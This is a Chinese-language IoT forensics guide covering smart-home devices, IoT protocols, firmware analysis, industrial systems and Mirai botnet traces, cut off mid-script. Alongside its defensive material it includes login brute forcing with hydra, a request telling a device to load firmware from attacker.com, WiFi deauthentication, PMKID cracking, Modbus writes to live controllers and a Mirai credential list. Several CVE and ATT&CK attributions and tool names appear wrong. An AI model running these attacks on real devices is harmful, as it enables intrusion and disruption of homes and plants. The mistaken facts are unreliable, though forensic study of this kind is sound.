物联网(IoT)取证深度分析

物联网(IoT)取证深度分析

根据 McKinsey 2025 年报告,全球 IoT 设备数量已突破 300 亿台,涵盖智能家居、工业控制、医疗健康、智慧城市等领域。IoT 设备的爆发式增长带来了全新的安全威胁——从 Mirai 僵尸网络到 Verkada 摄像头入侵事件,IoT 安全事件频发且影响深远。

传统数字取证方法在面对 IoT 设备时存在显著局限:设备资源受限、操作系统异构、通信协议多样、固件更新频繁。本文系统性地覆盖 IoT 取证分析的全链路方法论,涵盖设备分类、协议分析、固件逆向、恶意软件检测、自动化狩猎等核心领域,为安全研究人员提供完整的 IoT 取证实战指南。


0x01 技术基础与 IoT 取证概述

IoT 设备分类与攻击面

IoT 设备按应用场景可划分为三大类,每类设备的攻击面和取证重点差异显著:

设备类别典型设备主要攻击面取证难度数据持久性
消费级智能音箱、IP 摄像头、智能门锁、路由器默认凭据、固件漏洞、UPnP 暴露中等低(易失性存储)
工业级PLC、SCADA 系统、工业网关、传感器协议注入、固件后门、供应链攻击中(Flash 存储)
医疗级心脏起搏器、输液泵、监护仪协议篡改、固件替换、无线干扰极高中高(合规存储)

不同类别设备的攻击面存在本质差异。消费级设备主要面临网络层面的攻击——开放端口、默认凭据、未加密通信;工业级设备则涉及协议层面的威胁——Modbus 注入、OPC UA 证书伪造、PLC 固件篡改;医疗级设备的安全问题更为复杂,涉及人身安全,取证需要同时考虑技术证据和合规要求。

IoT 架构分层及各层取证重点

IoT 系统采用四层架构模型,每一层都产生特定类型的数字证据:

架构层组件产生的证据类型取证工具MITRE ATT&CK 映射
感知层传感器、执行器、摄像头设备日志、传感器数据、音频/视频JTAG 调试器、Flash Dump 工具T1521 IoT Discovery
网关层IoT 网关、路由器、交换机网络流量、ARP 表、DNS 缓存Wireshark、tcpdump、ZeekT1583.005 IoT Infrastructure
平台层云平台、MQTT Broker、数据库API 日志、设备注册信息、消息记录MQTT Explorer、云平台控制台T1567 Exfiltration Over Web Service
应用层移动 App、Web 控制台、仪表盘用户操作日志、配置数据、推送记录Burp Suite、FridaT1552.001 Credentials in Files

各层之间存在证据传递关系。攻击者从应用层获取凭据后,可能通过网关层下发恶意指令到感知层,或从感知层窃取数据经平台层外传。取证分析需要跨层关联,才能还原完整攻击链。

IoT 取证与传统数字取证的差异

IoT 取证面临三大核心挑战:

资源受限:多数 IoT 设备仅有数十 KB 的 RAM 和几 MB 的 Flash 存储,无法运行传统的取证工具。取证过程需要在外部设备上进行,或使用轻量级取证方法。

异构系统:不同厂商的 IoT 设备使用不同的操作系统(Linux、RTOS、Zephyr、FreeRTOS)、不同的处理器架构(ARM、MIPS、RISC-V)、不同的文件系统(SquashFS、UBIFS、JFFS2),取证工具和方法难以统一。

实时性要求:许多 IoT 设备采用易失性存储或循环覆盖日志,设备断电后关键证据可能永久丢失。取证采集必须在设备运行状态下进行,需要使用在线取证技术。

对比维度传统数字取证IoT 取证
取证对象PC、服务器、移动设备传感器、网关、嵌入式设备
操作系统Windows、Linux、macOSLinux/RTOS/Zephyr/裸机
存储介质HDD、SSD、eMMCFlash、EEPROM、SD 卡
日志系统syslog、Event Log、Journald设备专有日志、串口输出
取证工具EnCase、FTK、VolatilityBinwalk、FACT、JTAG 工具
时间基准NTP 同步、RTC 时钟设备时钟(可能不同步)
网络协议TCP/IP、HTTP、DNSMQTT、CoAP、BLE、Zigbee
取证窗口较长(磁盘持久存储)较短(Flash 循环覆盖)

IoT 取证工具链

IoT 取证需要一套专门的工具链来覆盖从固件提取到协议分析的完整流程:

工具名称功能分类用途说明开源/商业
Binwalk固件分析固件签名扫描、文件系统提取、熵分析开源
FACT固件分析自动化固件分析平台、漏洞检测开源
Firmwalker固件分析固件文件系统搜索敏感信息开源
Firmware Analysis Toolkit (FAT)固件分析自动化固件提取与 QEMU 仿真开源
Shodan资产发现IoT 设备互联网暴露面搜索商业
Wireshark流量分析网络协议解码、IoT 协议 dissectors开源
MQTT Explorer协议分析MQTT 消息订阅/发布调试开源
nRF ConnectBLE 分析蓝牙 BLE 广播嗅探、GATT 分析免费
UbertoothBLE 分析蓝牙 2.4GHz 射频分析开源硬件
KillerBeeZigbee 分析Zigbee 协议嗅探与注入开源
Bus Pirate硬件调试UART/SPI/I2C 接口通信开源硬件
J-Link硬件调试ARM JTAG/SWD 调试与 Flash Dump商业
Radare2逆向分析嵌入式二进制逆向开源
QEMU固件仿真固件动态分析与调试开源
sudo apt install binwalk firmware-mod-kit john hashcat
pip install fact-firmware-analysis-toolkit

0x02 智能家居设备取证

IP 摄像头/DVR/NVR 取证

IP 摄像头是 IoT 取证中最常见的设备类型之一。取证重点包括 RTSP/ONVIF 协议分析、存储卡数据恢复和日志提取。

ONVIF 设备发现与枚举

onvif-probe-d -h
onvif-probe-d --addr 192.168.1.0/24 --timeout 5s

使用 ONVIF WSDL 接口获取设备信息:

import zeep

wsdl = "http://192.168.1.100/onvif/device_service?wsdl"
client = zeep.Client(wsdl=wsdl)

device_info = client.service.GetDeviceInformation()
print(f"Manufacturer: {device_info.Manufacturer}")
print(f"Model: {device_info.Model}")
print(f"FirmwareVersion: {device_info.FirmwareVersion}")
print(f"SerialNumber: {device_info.SerialNumber}")

media_client = zeep.Client(wsdl="http://192.168.1.100/onvif/media_service?wsdl")
profiles = client.service.GetProfiles()
for p in profiles:
    print(f"Profile: {p.Name}, Token: {p.token}")

streams = client.service.GetStreamUri({
    'Stream': 'RTP-Unicast',
    'Protocol': 'RTSP'
})
print(f"RTSP URI: {streams.Uri}")

RTSP 流抓包取证

tcpdump -i eth0 -w camera_rtsp.pcap port 554 &
ffmpeg -rtsp_transport tcp -i "rtsp://admin:admin@192.168.1.100:554/stream1" -t 300 -c copy capture.mp4

存储卡数据恢复

dd if=/dev/sdb of=camera_sd.img bs=4M
photorec camera_sd.img
testdisk camera_sd.img
取证目标证据来源工具取证步骤
视频录像SD 卡 / FTP 服务器photorec, ffmpeg提取已删除视频片段、分析编码格式
设备配置Web 管理界面curl, Burp Suite导出配置文件、检查管理员凭据
连接日志设备系统日志Telnet/SSH, serial提取访问日志、分析连接来源
固件版本ONVIF 接口onvif-probe-d识别固件版本、匹配已知漏洞
网络配置ARP 表、DHCP 日志tcpdump, Wireshark还原网络拓扑、定位通信对端

智能音箱取证

智能音箱(如 Amazon Echo、Google Home、小爱同学)记录了大量的用户交互数据,是家庭 IoT 取证的重要来源。

语音指令日志提取

通过 Alexa App 或 Google Home App 的账号数据导出功能,可以获取完整的语音指令历史:

curl -H "Authorization: Bearer $TOKEN" \
     "https://api.amazonalexa.com/v1/devices/$DEVICE_ID/conversations" \
     -o alexa_history.json

python3 -c "
import json
data = json.load(open('alexa_history.json'))
for conv in data['conversations']:
    for utterance in conv['utterances']:
        print(f'[{utterance[\"creationTimestamp\"]}] {utterance[\"text\"]}')
"

WiFi 连接记录分析

strings /dev/sda1 | grep -E "(SSID|WPA|PSK|EAP)" | sort -u
cat /var/lib/dhcp/dhclient.leases 2>/dev/null

蓝牙配对信息提取

bluetoothctl paired-devices
cat /var/lib/bluetooth/*/*/info

智能门锁取证

智能门锁涉及物理安全和网络安全双重属性,取证需要关注开锁记录、管理员后门检测和 RF 重放攻击痕迹。

开锁记录分析

sqlite3 doorlock.db "SELECT * FROM unlock_log ORDER BY timestamp DESC LIMIT 50;"
cat /var/log/doorlock.log | grep -E "(unlock|lock|failed|tamper)"

管理员后门检测

strings /dev/mtdblock3 | grep -E "(backdoor|master|override|admin)"
strings /dev/mtdblock3 | grep -E "(telnetd|dropbear|sshd)"

RF 重放攻击痕迹分析

from rtl_sdr import RtlSdr
import numpy as np

sdr = RtlSdr()
sdr.sample_rate = 2.4e6
sdr.center_freq = 433.92e6
sdr.gain = 40

samples = sdr.read_samples(2.4e6 * 10)
signal = np.abs(samples)
threshold = np.mean(signal) * 2.5
pulses = signal > threshold

edges = np.diff(pulses.astype(int))
starts = np.where(edges == 1)[0]
ends = np.where(edges == -1)[0]

for i in range(min(len(starts), len(ends))):
    duration = ends[i] - starts[i]
    gap = starts[i] - ends[i-1] if i > 0 else 0
    print(f"Pulse: {duration:.0f} samples, Gap: {gap:.0f} samples")
门锁类型取证重点证据存储位置取证方法
指纹锁指纹模板、开锁记录eMMC/FlashFlash Dump + 文件系统解析
密码锁密码修改日志、管理员后门EEPROM芯片读取 + 二进制分析
蓝牙锁BLE 配对记录、通信日志Flash + BLE 广播nRF Connect 嗅探 + 固件分析
Zigbee 锁网络密钥、设备绑定FlashKillerBee 嗅探 + 固件提取
WiFi 锁配置信息、云端通信Flash + 路由器日志网络抓包 + 云端日志获取

智能路由器/NAS 取证

智能路由器和 NAS 设备作为家庭网络的核心节点,记录了大量网络活动信息。

UPnP 暴露检测

nmap -sU -p 1900 --script=upnp-info 192.168.1.1
echo -e 'M-SEARCH * HTTP/1.1\r\nHOST:239.255.255.250:1900\r\nST:upnp:rootdevice\r\nMX:3\r\n\r\n' | socat - UDP4-DATAGRAM:239.255.255.250:1900

DNS 劫持检测

dig @192.168.1.1 google.com +short
dig @8.8.8.8 google.com +short
nslookup -type=TXT default.example.com 192.168.1.1

默认凭据检查

hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.1 http-form-post "/login:username=^USER^&password=^PASS^:Login Failed"
medusa -h 192.168.1.1 -u admin -P passwords.txt -M http
路由器类型常见默认凭据漏洞类型取证方法
TP-Linkadmin/adminCVE-2023-1389 命令注入Web 日志 + 固件提取
Netgearadmin/passwordCVE-2023-46604 远程代码执行固件分析 + 串口日志
D-Linkadmin/(空)CVE-2024-33112 身份验证绕过流量分析 + 配置提取
小米路由器admin/admin未授权 API 访问云端日志 + API 测试

0x03 IoT 网关与通信协议取证

MQTT 协议取证

MQTT(Message Queuing Telemetry Transport)是 IoT 领域最广泛使用的轻量级消息协议。取证重点包括 Broker 日志分析、Topic 订阅/发布模式分析和 QoS 异常检测。

MQTT Broker 日志分析

tcpdump -i eth0 -w mqtt_traffic.pcap port 1883

mosquitto_sub -h 192.168.1.100 -t '#' -v -C 1000 > mqtt_dump.log

grep -E "(CONNECT|PUBLISH|SUBSCRIBE|DISCONNECT)" mqtt_dump.log

MQTT Topic 异常检测

import paho.mqtt.client as mqtt
import json
from datetime import datetime

suspicious_topics = []
device_registry = {}

def on_connect(client, userdata, flags, rc):
    client.subscribe("#")

def on_message(client, userdata, msg):
    timestamp = datetime.now().isoformat()
    topic = msg.topic
    payload = msg.payload.decode('utf-8', errors='ignore')
    
    parts = topic.split('/')
    if len(parts) >= 2:
        device_id = parts[1]
        if device_id not in device_registry:
            device_registry[device_id] = set()
        device_registry[device_id].add(topic)
    
    if any(kw in topic.lower() for kw in ['admin', 'root', 'system', 'debug', 'shell']):
        suspicious_topics.append({
            'timestamp': timestamp,
            'topic': topic,
            'payload': payload[:200],
            'reason': '敏感关键词匹配'
        })
    
    if len(payload) > 10000:
        suspicious_topics.append({
            'timestamp': timestamp,
            'topic': topic,
            'payload_size': len(payload),
            'reason': '异常大消息体'
        })
    
    try:
        data = json.loads(payload)
        if 'password' in data or 'token' in data or 'key' in data:
            suspicious_topics.append({
                'timestamp': timestamp,
                'topic': topic,
                'reason': '明文凭据传输'
            })
    except json.JSONDecodeError:
        pass

client = mqtt.Client()
client.on_connect = on_connect
client.on_message = on_message
client.connect("192.168.1.100", 1883, 60)
client.loop_forever()

MQTT 安全配置审计

import ssl
import socket

def check_mqtt_anonymous(host, port):
    sock = socket.create_connection((host, port), timeout=10)
    connect_packet = bytes([
        0x10,
        0x0D,
        0x00, 0x04, 0x4D, 0x51, 0x54, 0x54,
        0x04,
        0x02,
        0x00, 0x3C,
        0x00, 0x01, 0x41
    ])
    sock.send(connect_packet)
    response = sock.recv(2)
    sock.close()
    if response[0] == 0x20 and response[1] == 0x02:
        return_code = int.from_bytes(response, 'big') & 0xFF
        return return_code == 0x00
    return False
MQTT 安全属性审计检查项风险等级取证方法
匿名连接是否允许无凭据连接连接测试
TLS 加密是否启用 TLS/SSL流量抓包分析
ACL 控制是否配置访问控制列表Broker 配置检查
消息加密Payload 是否加密消息内容分析
遗嘱消息是否配置 Last Will协议分析
QoS 级别消息可靠性保证流量分析

CoAP 协议取证

CoAP(Constrained Application Protocol)是面向资源受限设备的应用层协议,基于 UDP,常用于 NB-IoT 和 LoRaWAN 场景。

CoAP 资源发现与异常检测

coap-client -m get "coap://192.168.1.200/.well-known/core"

coap-client -m get -o coap_response.bin "coap://192.168.1.200/firmware"

tcpdump -i eth0 -w coap_traffic.pcap udp port 5683

CoAP DTLS 握手失败分析

from scapy.all import *

def analyze_coap_dtls(pcap_file):
    packets = rdpcap(pcap_file)
    for pkt in packets:
        if pkt.haslayer(UDP) and pkt[UDP].dport == 5683:
            payload = bytes(pkt[UDP].payload)
            if len(payload) > 0:
                ver_type = payload[0] >> 6
                msg_type = (payload[0] >> 4) & 0x03
                code = payload[1]
                if msg_type == 3:
                    print(f"RST message from {pkt[IP].src}, code={code}")
                if code == 0x83:
                    print(f"DTLS handshake alert from {pkt[IP].src}")

AMQP/STOMP 协议取证

AMQP 和 STOMP 是企业级 IoT 平台常用的消息协议,常见于工业 IoT 场景。

AMQP 消息队列滥用检测

tcpdump -i eth0 -w amqp_traffic.pcap port 5672
tshark -r amqp_traffic.pcap -Y "amqp" -T fields -e amqp.method -e amqp.queue -e amqp.exchange

STOMP 协议审计

stompclap 192.168.1.100 61613 admin admin -S

echo -e "CONNECT\naccept-version:1.2\n\n\x00" | nc 192.168.1.100 61613

HTTP/REST API 取证

IoT 设备的 HTTP/REST API 是最常见的攻击面之一,包括固件更新接口暴露和设备管理 API 未授权访问。

固件更新接口检测

gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x bin,fw,update,upgrade
ffuf -u http://192.168.1.100/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .bin,.tar.gz,.zip

设备管理 API 未授权测试

curl -v http://192.168.1.100/api/v1/device/info
curl -v -X POST http://192.168.1.100/api/v1/firmware/update -d '{"url":"http://attacker.com/firmware.bin"}'
curl -v http://192.168.1.100/api/v1/config/export
API 端点测试方法预期响应(安全)风险等级
/api/v1/device/infoGET401 Unauthorized
/api/v1/firmware/updatePOST403 Forbidden
/api/v1/config/exportGET401 + 数据加密
/api/v1/debug/shellGET/POST404 Not Found极高
/api/v1/logsGET401 + 日志脱敏

0x04 无线协议取证

蓝牙/BLE 取证

BLE(Bluetooth Low Energy)广泛应用于 IoT 设备的近场通信。取证重点包括 BLE 广播嗅探、GATT Profile 分析和蓝牙配对攻击痕迹检测。

BLE 广播嗅探

sudo hciconfig hci0 up
sudo hcitool lescan --duplicate
sudo btlejack -f 37 -c

使用 Ubertooth 进行 BLE 射频分析:

ubertooth-btle -f
ubertooth-rx

GATT Profile 分析

from bluepy.btle import Scanner, DefaultDelegate

class ScanDelegate(DefaultDelegate):
    def handleDiscovery(self, dev, isNewDev, isNewData):
        if isNewDev:
            print(f"Device: {dev.addr}, RSSI: {dev.rssi}, Name: {dev.scanData.get(9, 'Unknown')}")
            for (adtype, desc, value) in dev.getScanData():
                print(f"  {desc} = {value}")

scanner = Scanner().withDelegate(ScanDelegate())
devices = scanner.scan(10.0, passive=True)

for dev in devices:
    print(f"\nDevice: {dev.addr} ({dev.addrType}), RSSI: {dev.rssi} dB")
    for (adtype, desc, value) in dev.getScanData():
        print(f"  [{adtype}] {desc}: {value}")

BLE 配对攻击痕迹检测

btmon -w ble_pairing.pcap
hcidump -w ble_pairing.pcap

Zigbee 协议取证

Zigbee 协议广泛应用于智能家居设备的组网通信,取证重点包括网络密钥提取、设备伪装检测和 Zigbee 3.0 安全分析。

Zigbee 网络嗅探

zbwireshark
zbdump -f 15 -c 100 -w zigbee_capture.pcap

killerbee-zbdump -f 11 -c 500 -w zigbee_dump.pcap
killerbee-zbextract zigbee_dump.pcap > zigbee_frames.txt

Zigbee 密钥提取

import struct

def parse_zigbee_transport_key(payload):
    key_type = payload[0]
    key = payload[1:17]
    source_address = struct.unpack('<Q', payload[17:25])[0]
    
    key_types = {
        0x00: "Standard Network Key",
        0x01: "Standard Pre-configured Link Key",
        0x02: "App Master Key",
        0x03: "App Link Key",
        0x04: "TC Master Key"
    }
    
    return {
        'type': key_types.get(key_type, f"Unknown ({key_type})"),
        'key': key.hex(),
        'source': hex(source_address)
    }
Zigbee 安全特性取证检查项检测方法MITRE ATT&CK
网络密钥明文密钥传输协议嗅探 + 解析T1557 Adversary-in-the-Middle
Trust Center信任中心认证绕过密钥请求分析T1550 Use Alternate Auth
APS 加密应用层加密缺失流量解密分析T1040 Network Sniffing
设备入网未授权设备加入Join Request 监控T1200 Hardware Additions
帧计数器重放攻击检测帧序列分析T1541 Pre-OS Boot

Z-Wave 协议取证

Z-Wave 协议的 S2 安全框架是其重要的安全特性,但仍存在绕过可能。

rtl_433 -R 0 -X 'n=Z-Wave,s=450,l=450,g=400,r=1200' -F csv:zwave_capture.csv

WiFi 协议取证

WiFi 协议在 IoT 环境中无处不在,取证需要关注 WPA3 降级攻击、PMKID 缓存和 Evil Twin 检测。

WPA3 降级攻击检测

airodump-ng wlan0mon --wps
aireplay-ng --deauth 10 -a [AP_BSSID] wlan0mon

PMKID 缓存提取

hcxdumptool -i wlan0mon --filterlist_ap=targets.csv --filtermode=2 -o pmkid_capture.pcapng
hcxpcapngtool -o hashcat_pmkid.txt pmkid_capture.pcapng
hashcat -m 22000 hashcat_pmkid.txt /path/to/wordlist.txt

Evil Twin 检测

import scapy.all as scapy

def detect_evil_twin(interface, target_ssid, duration=60):
    packets = scapy.sniff(iface=interface, timeout=duration,
                          filter="type mgt subtype beacon")
    
    ssids = {}
    for pkt in packets:
        if pkt.haslayer(scapy.Dot11Beacon):
            ssid = pkt[scapy.Dot11Elt].info.decode('utf-8', errors='ignore')
            bssid = pkt[scapy.Dot11].addr2
            rssi = pkt.dBm_AntSignal if hasattr(pkt, 'dBm_AntSignal') else 'N/A'
            channel = int(ord(pkt[scapy.Dot11Elt:3].info))
            
            if ssid == target_ssid:
                if ssid not in ssids:
                    ssids[ssid] = []
                ssids[ssid].append({'bssid': bssid, 'rssi': rssi, 'channel': channel})
    
    for ssid, aps in ssids.items():
        if len(aps) > 1:
            print(f"[WARNING] SSID '{ssid}' has {len(aps)} APs - possible Evil Twin:")
            for ap in aps:
                print(f"  BSSID: {ap['bssid']}, RSSI: {ap['rssi']}, Channel: {ap['channel']}")

LoRaWAN 取证

LoRaWAN 是低功耗广域网的核心协议,取证需要关注 OTAA/ABP 入网分析和帧计数器攻击。

LoRaWAN 入网分析

rtl_sdr -f 868100000 -s 1000000 -g 40 lora_capture.raw
python3 lora_decode.py lora_capture.raw --freq 868.1

ABP vs OTAA 安全对比

入网方式安全特性取证关注点风险等级
OTAA动态密钥、会话密钥更新DevEUI/APPEUI 泄露
ABP静态密钥、固定会话密钥NwkSKey/AppSKey 硬编码
Both帧计数器FCnt 重置检测
BothMIC 校验消息完整性验证

0x05 固件提取与逆向分析取证

固件提取方法

固件提取是 IoT 取证的关键环节,主要有三种方法:Flash Dump、JTAG/UART 调试接口和固件更新包截获。

JTAG 调试接口提取

openocd -f interface/jlink.cfg -f target/stm32f1x.cfg
telnet localhost 4444

> flash read_bank 0 firmware_dump.bin
> dump_image firmware_full.bin 0x08000000 0x100000
> mdw 0x08000000 16

UART 串口提取

screen /dev/ttyUSB0 115200

minicom -D /dev/ttyUSB0 -b 115200

picocom -b 115200 /dev/ttyUSB0

固件更新包截获

mitmproxy -p 8080
tcpdump -i eth0 -w firmware_update.pcap 'host firmware.example.com'

使用 mitmproxy 拦截固件更新请求:

from mitmproxy import http
import hashlib

def response(flow: http.HTTPFlow):
    content_type = flow.response.headers.get("content-type", "")
    if "binary" in content_type or "octet-stream" in content_type:
        firmware_data = flow.response.content
        md5 = hashlib.md5(firmware_data).hexdigest()
        sha256 = hashlib.sha256(firmware_data).hexdigest()
        
        filename = f"firmware_{md5[:8]}.bin"
        with open(filename, 'wb') as f:
            f.write(firmware_data)
        
        print(f"Firmware captured: {filename}")
        print(f"MD5: {md5}")
        print(f"SHA256: {sha256}")
        print(f"Size: {len(firmware_data)} bytes")

固件文件系统解析

IoT 固件常用的文件系统类型各有特点,取证方法也不同:

文件系统特征挂载命令取证工具
SquashFS只读压缩,最常见mount -t squashfs -o ro,loop firmware.squashfs /mntunsquashfs
UBIFSUBI 文件系统,Flash 友好ubireader_extract_images firmware.ubiubi_reader
JFFS2日志型 Flash 文件系统mount -t jffs2 -o loop firmware.jffs2 /mntmtd-utils
CramFS压缩只读,较小设备mount -t cramfs -o ro,loop firmware.cramfs /mntcramfsck
YAFFS2NAND Flash 优化unyaffs firmware.yaffs2 /mnt/yaffshiv
ext4标准 Linux 文件系统mount -o ro,loop firmware.ext4 /mntstandard tools

Binwalk 固件分析实战

Binwalk 是固件分析的核心工具,支持签名扫描、熵分析和文件系统解压。

签名扫描

binwalk firmware.bin
binwalk -A firmware.bin
binwalk -R '\x89PNG' firmware.bin
binwalk -t firmware.bin

熵分析检测加密/压缩

binwalk -E firmware.bin

文件系统提取与验证

binwalk -eM firmware.bin

cd _firmware.bin.extracted
ls -la squashfs-root/

cat squashfs-root/etc/version
strings squashfs-root/usr/bin/app | head -20
find squashfs-root -name "*.conf" -exec grep -l "password" {} \;
find squashfs-root -name "shadow" -o -name "passwd"

固件硬编码凭据提取

import subprocess
import re
import os

def extract_firmware_credentials(extracted_dir):
    credentials = []
    
    shadow_files = subprocess.run(
        ['find', extracted_dir, '-name', 'shadow', '-o', '-name', 'passwd'],
        capture_output=True, text=True
    ).stdout.strip().split('\n')
    
    for f in shadow_files:
        if os.path.isfile(f):
            with open(f) as fh:
                for line in fh:
                    parts = line.strip().split(':')
                    if len(parts) >= 2 and parts[1] not in ('x', '*', '!', '!!', '!!:'):
                        credentials.append({
                            'source': f,
                            'username': parts[0],
                            'hash': parts[1],
                            'type': 'hardcoded_credential'
                        })
    
    config_patterns = [
        r'(?i)password\s*[=:]\s*["\']?(\S+)',
        r'(?i)api_key\s*[=:]\s*["\']?(\S+)',
        r'(?i)secret\s*[=:]\s*["\']?(\S+)',
        r'(?i)token\s*[=:]\s*["\']?(\S+)',
    ]
    
    result = subprocess.run(
        ['find', extracted_dir, '-type', 'f'],
        capture_output=True, text=True
    ).stdout.strip().split('\n')
    
    for filepath in result:
        if os.path.isfile(filepath):
            try:
                with open(filepath, 'rb') as fh:
                    content = fh.read(1024 * 1024)
                    text = content.decode('utf-8', errors='ignore')
                    for pattern in config_patterns:
                        matches = re.findall(pattern, text)
                        for match in matches:
                            credentials.append({
                                'source': filepath,
                                'pattern': pattern,
                                'value': match,
                                'type': 'config_credential'
                            })
            except Exception:
                pass
    
    return credentials
固件分析步骤命令输出结果取证价值
签名扫描binwalk -A firmware.binCPU 架构、编译器信息确认设备硬件平台
熵分析binwalk -E firmware.bin熵值分布图检测加密/压缩段
文件系统提取binwalk -eM firmware.binsquashfs-root/完整文件系统
字符串提取strings bin > strings.txt硬编码字符串凭据、URL、密钥
配置文件分析find . -name "*.conf"配置文件列表设备配置、安全设置
二进制分析r2 -A bin函数列表、调用关系后门检测、漏洞挖掘

Firmware Analysis Toolkit (FAT) 与 FACT 自动化分析

FAT 和 FACT 提供固件分析的自动化流水线,大幅提升取证效率。

FAT 自动化分析

git clone https://github.com/attify/firmware-analysis-toolkit
cd firmware-analysis-toolkit
sudo ./fat.py firmware.bin

FACT 平台部署与使用

git clone https://github.com/fkie-cad/FACT_core
cd FACT_core
sudo ./start_allotted.sh

Firmwalker 敏感信息搜索

git clone https://github.com/craigz28/firmwalker
cd firmwalker
./firmwalker.sh _firmware.bin.extracted/squashfs-root

0x06 工业 IoT 与边缘计算取证

Modbus TCP/RTU 协议取证

Modbus 是工业控制系统中最广泛使用的通信协议,其安全缺陷导致大量工控系统暴露在网络攻击之下。

Modbus TCP 流量分析

tcpdump -i eth0 -w modbus_traffic.pcap 'tcp port 502'
tshark -r modbus_traffic.pcap -Y "modbus" -T fields -e modbus.func_code -e modbus.reg -e modbus.data

Modbus 功能码异常检测

from pymodbus.client import ModbusTcpClient
from pymodbus.exceptions import ModbusIOException

def audit_modbus_device(host, port=502):
    client = ModbusTcpClient(host, port=port)
    client.connect()
    
    results = {
        'host': host,
        'port': port,
        'write_coils_allowed': False,
        'write_registers_allowed': False,
        'read_all_coils': False,
        'read_all_holding': False,
        'diagnostics_accessible': False
    }
    
    try:
        response = client.read_coils(0, 100)
        if not response.isError():
            results['read_all_coils'] = True
    except Exception as e:
        pass
    
    try:
        response = client.read_holding_registers(0, 100)
        if not response.isError():
            results['read_all_holding'] = True
    except Exception as e:
        pass
    
    try:
        response = client.write_coil(0, True)
        results['write_coils_allowed'] = not response.isError()
    except Exception as e:
        pass
    
    try:
        response = client.write_register(0, 0)
        results['write_registers_allowed'] = not response.isError()
    except Exception as e:
        pass
    
    try:
        response = client.diag_get_comm_event_counter()
        results['diagnostics_accessible'] = not response.isError()
    except Exception as e:
        pass
    
    try:
        response = client.discover()
        results['broadcast_discovery'] = True
    except Exception as e:
        results['broadcast_discovery'] = False
    
    client.close()
    return results
Modbus 功能码安全风险异常检测规则取证方法
FC01 读线圈信息泄露大批量读取流量监控
FC03 读保持寄存器配置泄露跨区域读取流量分析
FC05 写单线圈过程控制非授权写入日志审计
FC06 写单寄存器参数篡改关键参数修改寄存器快照对比
FC15 写多线圈批量控制异常批量写入会话分析
FC16 写多寄存器批量篡改越权参数修改事务日志
FC08 诊断信息泄露设备枚举协议分析

OPC UA 协议取证

OPC UA(Unified Architecture)是工业 4.0 的核心通信协议,提供内置安全特性但配置不当仍可被利用。

OPC UA 安全策略审计

from opcua import Client

def audit_opc_ua_server(url):
    client = Client(url)
    client.set_security_string(
        "Basic256Sha256,SignAndEncrypt,"
        "cert.pem,key.pem,server_cert.pem"
    )
    
    try:
        client.connect()
        
        root = client.get_root_node()
        objects = client.get_objects_node()
        
        print("Server Nodes:")
        children = objects.get_children()
        for child in children:
            print(f"  {child.get_browse_name().Name}")
        
        policies = client.get_policy_id()
        print(f"\nSecurity Policies: {policies}")
        
        server_time = client.get_server_timestamp()
        print(f"Server Time: {server_time}")
        
        client.disconnect()
        return True
    except Exception as e:
        print(f"Connection failed: {e}")
        return False

边缘计算节点取证

边缘计算节点(如 AWS Greengrass、Azure IoT Edge)运行容器化工作负载,取证需要关注容器安全和节点日志。

容器化工作负载分析

docker ps -a --format "table {{.ID}}\t{{.Image}}\t{{.Status}}\t{{.Ports}}"
docker inspect $CONTAINER_ID | jq '.[0].Config.Env'
docker logs $CONTAINER_ID --since 24h > container_logs.txt

Edge 网关日志提取

journalctl -u iotedge --since "2 hours ago" > iotedge_logs.txt
iotedge list
iotedge check

物联网平台取证

主流云 IoT 平台产生大量可取证的日志数据。

AWS IoT Core 日志分析

aws iot describe-thing --thing-name "target_device"
aws iot get-logging-options
aws logs filter-log-events --log-group-name /aws/iot/events --filter-pattern "ERROR"

aws iot list-topic-rules
aws iot get-topic-rule --rule-name "IoT_Rule"

Azure IoT Hub 日志分析

az iot hub monitor-events --hub-name hub_name --device-id device_id --timeout 300
az monitor logs query --workspace workspace_id --analytics-query "DeviceConnectionEventLogs | take 100"
云平台日志类型取证查询保留期限
AWS IoT Core连接日志CloudWatch Logs Insights90 天
Azure IoT Hub设备遥测Log Analytics KQL30 天
阿里云 IoT设备日志SLS 日志服务按配置
Google Cloud IoT事件日志BigQuery / Cloud Logging30 天
华为云 IoT设备管理日志LTS 日志服务按配置

0x07 IoT 恶意软件与僵尸网络取证

Mirai 变种家族分析

Mirai 是影响最深远的 IoT 僵尸网络之一,其源码泄露后催生了大量变种。取证分析需要理解其 Telnet 扫描机制、默认凭据字典和 Payload 加密变种。

Mirai 感染特征检测

grep -r "POST /cdn-cgi/" /var/log/ | head -20
grep -E "(acker|mirai|botnet)" /tmp/*
ps aux | grep -E "(busybox|curl|wget|tftp)" 
netstat -an | grep -E ":(23|2323)" | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -rn

Mirai 默认凭据字典分析

import re
from collections import Counter

MIRAI_CREDENTIALS = {
    "root": ["root", "root123", "admin", "password", "default", "123456", "toor", "admin123"],
    "admin": ["admin", "password", "1234", "admin1234", "root", "pass", "test"],
    "support": ["support", "support123", "password"],
    "user": ["user", "user123", "password", "admin"],
    "guest": ["guest", "guest123", "password"],
    "default": ["default", "password", "admin"],
    "test": ["test", "test123", "password"],
    "ubnt": ["ubnt", "ubnt", "admin"],
}

def analyze_telnet_traffic(pcap_file):
    from scapy.all import rdpcap, TCP, Raw
    
    packets = rdpcap(pcap_file)
    login_attempts = []
    
    for pkt in packets:
        if pkt.haslayer(Raw) and pkt.haslayer(TCP):
            payload = bytes(pkt[Raw].load)
            try:
                text = payload.decode('utf-8', errors='ignore')
                if 'login' in text.lower() or 'password' in text.lower():
                    login_attempts.append({
                        'src': pkt[TCP].sport,
                        'dst': pkt[TCP].dport,
                        'text': text.strip(),
                        'time': float(pkt.time)
                    })
            except Exception:
                pass
    
    return login_attempts
Mirai 变种加密方式端口扫描范围特征端口Payload 特征
Mirai 原版无加密TCP 23-232323, 2323裸 TCP Telnet
MasutaXOR 加密TCP 23-232323, 23230x41 XOR key
SatoriHTTP 扩展TCP 23, 80, 3721537215华为路由器漏洞利用
MoziP2P + UDPTCP 23, 37215, 5286937215, 52869UPnP SSDP 利用
Ryuk IoTHTTP C2TCP 2323Webshell 植入
MoobotHTTP + DNSTCP 23, 80, 55555555ADB 利用
BotenaGoHTTPTCP 80, 808080, 8080Go 编写, Router 漏洞

BotenaGo/Mozi 变种分析

Mozi P2P C2 通信分析

from scapy.all import rdpcap, UDP, TCP, Raw
import struct

